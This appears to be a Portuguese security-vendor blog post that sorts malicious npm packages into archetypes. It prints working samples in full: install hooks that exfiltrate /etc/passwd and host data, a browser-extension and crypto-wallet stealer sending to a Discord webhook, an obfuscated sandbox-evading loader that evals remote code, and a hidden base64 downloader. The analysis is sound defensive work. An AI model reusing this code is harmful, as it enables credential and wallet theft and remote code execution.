Produto
Tudo o que precisa para proteger o código, a nuvem e o tempo de execução - num único sistema central
Código
Dependências
Prevenir riscos de código aberto (SCA)
Segredos
Apanhar segredos expostos
SAST
Código seguro tal como está escrito
Imagens de contentores
Proteger imagens facilmente
Malware
Prevenir ataques à cadeia de abastecimento
Infraestrutura como código
Verificar se há erros de configuração no IaC
Risco de licença e SBOMs
Evite riscos, cumpra as normas
Software desatualizado
Conheça os seus tempos de execução EOL
Nuvem
Nuvem / CSPM
Configurações incorrectas da nuvem
DAST
Testes de segurança de caixa negra
Verificação da API
Teste as suas APIs para detetar vulnerabilidades
Máquinas virtuais
Sem agentes, sem despesas gerais
Tempo de execução do Kubernetes
em breve
Proteja as suas cargas de trabalho de contentores
Inventário na nuvem
A expansão da nuvem, resolvida
Defender
Proteção em tempo de execução
Firewall na aplicação / WAF
Caraterísticas
AI AutoFix
Correcções com um clique com a IA do Aikido
Segurança CI/CD
Análise antes da fusão e da implantação
Integrações IDE
Obtenha feedback instantâneo enquanto codifica
Scanner no local
Digitalização local com prioridade à conformidade
Soluções
Casos de utilização
Conformidade
Automatize SOC 2, ISO e muito mais
Gestão de vulnerabilidades
Gestão de vulnerabilidades tudo-em-um
Proteja o seu código
Segurança de código avançada
Gerar SBOMs
1 clique Relatórios SCA
ASPM
AppSec de ponta a ponta
IA no Aikido
Deixe a IA do Aikido fazer o trabalho
Bloco 0-Dias
Bloquear ameaças antes do impacto
Indústrias
FinTech
Tecnologia da saúde
HRTech
Tecnologia jurídica
Empresas do Grupo
Agências
Startups
Empresa
Aplicações móveis
Fabrico
Preços
Recursos
Programador
Documentos
Como utilizar o Aikido
Documentos públicos da API
Centro de desenvolvimento de Aikido
Registo de alterações
Ver o que foi enviado
Segurança
Investigação interna
Informações sobre malware e CVE
Glossário
Guia do jargão de segurança
Centro de Confiança
Seguro, privado, conforme
Código aberto
Aikido Intel
Feed de ameaças de malware e OSS
Zen
Proteção da firewall na aplicação
OpenGrep
Motor de análise de código
Integrações
IDEs
Sistemas de CI/CD
Nuvens
Sistemas Git
Conformidade
Mensageiros
Gestores de tarefas
Mais integrações
Sobre
Sobre
Sobre
Conheça a equipa
Carreiras
Estamos a contratar
Kit de imprensa
Descarregar activos da marca
Calendário
Vemo-nos por aí?
Código aberto
Os nossos projectos OSS
Blogue
As últimas mensagens
Histórias de clientes
A confiança das melhores equipas
Contacto
Iniciar sessão
Comece de graça
Não é necessário CC
Aikido
Menu
Aikido
PT
PT
FR
JP
Iniciar sessão
Comece de graça
Não é necessário CC
Blogue
/
O guia de encontros de malware: Compreender os tipos de malware no NPM

O guia de encontros de malware: Compreender os tipos de malware no NPM

Por
Charlie Eriksen
Charlie Eriksen
4 min ler
Malware

O Nó O ecossistema é construído sobre uma base de confiança - confiança de que os pacotes que npm install estão a fazer o que dizem que fazem. Mas essa confiança é muitas vezes mal depositada.

Durante o ano passado, vimos uma tendência perturbadora: um número crescente de pacotes maliciosos publicados no npm, muitas vezes escondidos à vista de todos. Alguns são provas de conceito (PoCs) feitas por pesquisadores, outros são backdoors cuidadosamente criados. Alguns fingem ser bibliotecas legítimas, outros exfiltram dados mesmo debaixo do seu nariz usando ofuscação ou truques de formatação inteligentes.

Este artigo analisa vários pacotes maliciosos do mundo real que analisámos. Cada um deles representa um arquétipo distinto de técnica de ataque que vemos na natureza. Quer seja um programador, um red teamer ou um engenheiro de segurança, estes padrões devem estar no seu radar.

O PoC

Muitos dos pacotes que vemos são de pesquisadores de segurança que não fazem nenhuma tentativa real de serem furtivos. Eles estão simplesmente a tentar provar algo, muitas vezes como parte da caça aos bugs. Isso significa que seus pacotes são geralmente muito simples, muitas vezes não contendo código. Eles dependem puramente de um "gancho de ciclo de vida" que os pacotes podem usar, seja na pré-instalação, instalação ou pós-instalação. Esses hooks são comandos simples executados pelo gerenciador de pacotes durante a instalação.

Exemplo: local_editor_top

Segue-se um exemplo do pacote local_editor_top, que é um pacote que detectámos devido ao seu hook de pré-instalação que coloca o /etc/passwd para um ponto de extremidade do Burp Suite Collaborator com o nome do host prefixado.

{
  "name": "local_editor_top",
  "version": "10.7.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
  },
  "author": "",
  "license": "ISC"
}

Exemplo: ccf-identidade

Alguns investigadores vão um pouco mais longe e chamam um ficheiro dentro do pacote ccf-identidade para extrair dados. Por exemplo, detectámos o pacote, observámos um gancho de ciclo de vida e um ficheiro javascript com muitos indicadores de ambiente de exfiltração:

{
  "name": "ccf-identity",
  "version": "2.0.2",
  "main": "index.js",
  "typings": "dist/index",
  "license": "MIT",
  "author": "Microsoft",
  "type": "module",
  "repository": {
    "type": "git",
    "url": "https://github.com/Azure/ccf-identity"
  },
  "scripts": {
    "preinstall": "node index.js",
    ...
  },
  "devDependencies": {
    ...
  },
  "dependencies": {
    "@microsoft/ccf-app": "5.0.13",
    ...
  }
}

Como se pode ver, ele chamará o ficheiro index.js antes do início do processo de instalação do pacote. Abaixo está o conteúdo do ficheiro.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Estas provas de conceito vão bastante longe na recolha de muitas informações, incluindo também, muitas vezes, informações sobre adaptadores de rede!

O impostor

Se estiver atento, deve ter reparado que o exemplo anterior parecia indicar que se tratava de um pacote da Microsoft. Reparou? Não se preocupe, não é de facto um pacote da Microsoft! Pelo contrário, é também um exemplo do nosso segundo arquétipo: O Impostor. 

Um ótimo exemplo disto é o pacote pedidos-promessas. Vejamos o seu package.json ficheiro:

{
  "name": "requests-promises",
  "version": "4.2.1",
  "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
  "keywords": [
    ...
  ],
  "main": "./lib/rp.js",
  "scripts": {
   ...
    "postinstall": "node lib/rq.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/request/request-promise.git"
  },
  "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/request/request-promise/issues"
  },
  "homepage": "https://github.com/request/request-promise#readme",
  "engines": {
    "node": ">=0.10.0"
  },
  "dependencies": {
    "request-promise-core": "1.1.4",
    "bluebird": "^3.5.0",
    "stealthy-require": "^1.1.1",
    "tough-cookie": "^2.3.3"
  },
  "peerDependencies": {
    "request": "^2.34"
  },
  "devDependencies": {
    ...
  }
}

Vai reparar em algo interessante. À partida, parece uma embalagem verdadeira, mas há duas grandes pistas de que algo não está bem:

  • As referências do Github mencionam pedido-promessaou seja, no singular. O nome do pacote está no plural.
  • Há um gancho pós-instalação para um ficheiro chamado lib/rq.js. 

De resto, o pacote parece legítimo. Ele tem o código esperado do pacote em lib/rp.js (Note-se a diferença entre rp.js e rq.js). Vejamos então este ficheiro extra, lib/rq.js.

const cp = require('child_process');
const {
  exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
  URL
} = require('url');

function createZipFile(source, dest) {
  return new Promise((resolve, reject) => {
    const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
    exec(command, (error, stdout, stderr) => {
      if (error) {
        //console.log(error,stdout,stderr)
        reject(error);
      } else {
        //console.log(error,stdout,stderr)
        resolve(stdout);
      }
    });
  });
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
  try {
    const fileData = fs.readFileSync(filePath);
    const formData = new FormData();
    formData.append('file', new Blob([fileData]), fileName);
    formData.append('content', process.env.USERDOMAIN);
    const response = await fetch(wu, {
      method: 'POST',
      body: formData,
    });
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    //console.log('Running Test(s) +1');
  } catch (error) {
    console.error('Error :', error);
  } finally {
    try {
      cp.execSync('cmd /C del "' + filePath + '"');
    } catch {}
  }
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
  const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
  if (fs.existsSync(dir)) {
    //console.log(dir)
    const nayme = crypto.randomBytes(2).toString('hex')
    const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
    cp.exec(command, (e, so, se) => {
      if (!e) {
        console.log('exo', nayme)
        makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
        //console.log(e,so,se)
      } else {
        //console.log(e,so,se)
      }
    })
  }
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
  const datapath = DataPaths[i];
  if (fs.existsSync(datapath)) {
    const dirs = fs.readdirSync(datapath);
    const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
    profiles.push('Default');
    for (const profile of profiles) {
      if (typeof profile == "string") {
        const dir = datapath + '\\' + profile + '\\' + folderName;
        if (fs.existsSync(dir)) {
          //console.log(dir)
          const nayme = crypto.randomBytes(2).toString('hex')
          const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
          cp.exec(command, (e, so, se) => {
            if (!e) {
              console.log('okok')
              makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
              //console.log(e,so,se)
            } else {
              //console.log(e,so,se)
            }
          })
        }
      }
    }
  }
}

Não se deixe enganar pelo facto de o código ter uma função chamada makelove. É imediatamente óbvio que este código irá procurar caches de browser e carteiras criptográficas, que enviará para o endpoint que está codificado em base64. Quando descodificado, revela um webhook do Discord.

https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP

Afinal, não é assim tão amoroso.

O ofuscador

Um truque clássico para evitar a deteção é utilizar a ofuscação. A boa notícia para um defensor é que a ofuscação é realmente ruidoso, sobressai como um polegar dorido e é trivial de ultrapassar na maior parte das vezes. Um exemplo disto é o pacote frango é bom. Olhando para o ficheiro index.js vemos que está claramente ofuscado.

var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})

Já podemos ver que menciona coisas como checkVirtualMachine, checkUptime, isHostnameValide outros nomes que levantam suspeitas. Mas para confirmar totalmente o que está a fazer, podemos passá-lo por desobfuscadores/descodificadores disponíveis publicamente. E, de repente, obtemos algo um pouco mais legível.

var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
  _0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
  https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
    if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
      _0x8ed1x4(null, true);
    } else {
      _0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
    }
  })[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
    _0x8ed1x4(_0x8ed1x5);
  });
}
function checkCPUCores(_0x8ed1x8) {
  const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
  if (_0x8ed1x9 < _0x8ed1x8) {
    return false;
  } else {
    return true;
  }
}
function checkMemory(_0x8ed1xb) {
  const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
  const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
  if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
    return false;
  } else {
    return true;
  }
}
function checkUptime(_0x8ed1xf) {
  const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
  return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
  const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
  const _0x8ed1x13 = /^08:00:27/;
  const _0x8ed1x14 = /^00:03:ff/;
  const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
  const _0x8ed1x16 = os[__Ox12553a[0xd]]();
  const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
    _0x8ed1x19
  }) => {
    return !_0x8ed1x19;
  })[__Ox12553a[0xf]](({
    _0x8ed1x18
  }) => {
    return _0x8ed1x18;
  })[__Ox12553a[0xe]](Boolean);
  for (const _0x8ed1x18 of _0x8ed1x17) {
    if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    }) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    })) {
      console[__Ox12553a[0x15]](__Ox12553a[0x14]);
      return true;
    }
  }
  ;
  return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
  const _0x8ed1x1d = os[__Ox12553a[0x18]]();
  for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
    if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
      return false;
    }
  }
  ;
  return true;
}
function startApp() {
  checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
    if (!_0x8ed1x5 && _0x8ed1x20) {} else {
      if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
        process[__Ox12553a[0x1c]](1);
      } else {
        process[__Ox12553a[0x1c]](1);
      }
    }
  });
  if (!checkMemory(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkCPUCores(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkUptime(3600000)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (checkVirtualMachine()) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (isHostnameValid() === false) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  const _0x8ed1x21 = {
    hostname: __Ox12553a[0x1d],
    port: 8443,
    path: __Ox12553a[0x1e],
    method: __Ox12553a[0x1f]
  };
  const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
    let _0x8ed1x23 = __Ox12553a[0x6];
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
      _0x8ed1x23 += _0x8ed1x24;
    });
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
      eval(_0x8ed1x23);
    });
  });
  _0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
  _0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
  _0x8ed1x2b = __Ox12553a[0x23];
  _0x8ed1x29 = function (_0x8ed1x2c) {
    if (typeof alert !== _0x8ed1x2b) {
      alert(_0x8ed1x2c);
    }
    ;
    if (typeof console !== _0x8ed1x2b) {
      console[__Ox12553a[0x24]](_0x8ed1x2c);
    }
  };
  _0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
    return _0x8ed1x2d + _0x8ed1x26;
  };
  _0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
  try {
    _0x8ed1x26 = 'jsjiami.com';
    if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
      _0x8ed1x29(_0x8ed1x2a);
    }
  } catch (e) {
    _0x8ed1x29(_0x8ed1x2a);
  }
})({});

É evidente que está a recolher muitas informações sobre o sistema e que, a dada altura, irá enviar um pedido HTTP. Também parece que irá executar código arbitrário devido à presença do eval() dentro dos callbacks de um pedido HTTP, demonstrando um comportamento malicioso.

O Trapaceiro

Por vezes, também vemos pacotes que tentam esconder-se de forma muito sorrateira. Não é que eles tentem se esconder através de ofuscação para tornar a lógica difícil de entender. Eles apenas tornam difícil para um humano ver se ele não está prestando atenção.

Um exemplo disso é o pacote htps-curl. Aqui está o código visto do site oficial do npm:

Parece inocente à primeira vista, certo? Mas reparaste na barra de deslocamento horizontal? Está a tentar esconder a sua verdadeira carga útil com espaços em branco! Aqui está o código real se o embelezarmos um pouco.

console.log('Installed');
try {
    new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}

Aha! Há uma carga escondida. Tem um blob codificado em base64, que é descodificado, transformado numa função e depois chamado. Aqui está o payload descodificado e embelezado.

const {
    spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
    const t = path.join(process.env.TEMP, `Realktek.exe`),
        ws = new WebSocket("wss://frerea[.]com");
    ws.on("open", () => {
        ws.send(JSON.stringify({
            command: "realtek"
        }))
    });
    ws.on("message", m => {
        try {
            const r = JSON.parse(m);
            if (r.type === "realtek" && r.data) {
                const b = Buffer.from(r.data, "base64");
                fs.writeFileSync(t, b);
                spawn("cmd", ["/c", t], {
                    detached: true,
                    stdio: "ignore"
                }).unref()
            }
        } catch (e) {
            console.error("Error processing WebSocket message:", e)
        }
    })
})();

Aqui, vemos que o payload se conecta a um servidor remoto através de websocket e envia uma mensagem. A resposta é então decodificada em base64, salva no disco e executada.

O ajudante demasiado prestável

O último arquétipo é o de uma biblioteca que é útil, mas talvez demasiado útil para o seu próprio bem. O exemplo que vamos utilizar aqui é registador de consolidação pacote. Como sempre, começamos a olhar para o package.json ficheiro. 

{
  "name": "consolidate-logger",
  "version": "1.0.2",
  "main": "index.js",
  "scripts": {
